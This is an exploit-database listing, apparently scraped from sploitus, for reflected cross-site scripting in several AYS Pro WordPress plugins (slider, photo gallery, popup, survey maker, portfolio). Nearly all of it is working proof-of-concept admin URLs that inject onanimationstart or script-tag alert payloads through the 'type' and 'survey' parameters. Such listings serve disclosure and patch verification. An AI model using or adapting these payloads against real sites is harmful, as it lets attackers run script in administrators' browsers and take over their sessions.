Exploit for Multiple Plugins from AYS Pro - Reflected Cross-Site Scripting (XSS)

Name: Exploit for Multiple Plugins from AYS Pro - Reflected Cross-Site Scripting (XSS)
Rating: 5 (73 reviews)

2021-06-29 | CVSS 1.3

## https://sploitus.com/exploit?id=WPEX-ID:BD2E0643-C83B-4CA6-9332-66E4C49252BA
https://example.com/wp-admin/admin.php?page=ays-slider&status=created&type="style%3Danimation-name%3Arotation+onanimationstart%3Dalert(%2FXSS%2F)%2F%2F

https://example.com/wp-admin/admin.php?page=gallery-photo-gallery&status=created&type=%22style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28%2FXSS%2F%29%2F%2F

https://example.com/wp-admin/admin.php?page=ays-facebook-popup-likebox&status=created&type=%22style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28%2FXSS%2F%29%2F%2F

https://example.com/wp-admin/admin.php?page=survey-maker-each-submission&survey=1"><script>alert(/XSS/)</script>

https://example.com/wp-admin/admin.php?page=ays-pb&status=created&type=%22style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28%2FXSS%2F%29%2F%2F

https://example.com/wp-admin/admin.php?page=portfolio-responsive-gallery&status=created&type=%22style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28%2FXSS%2F%29%2F%2F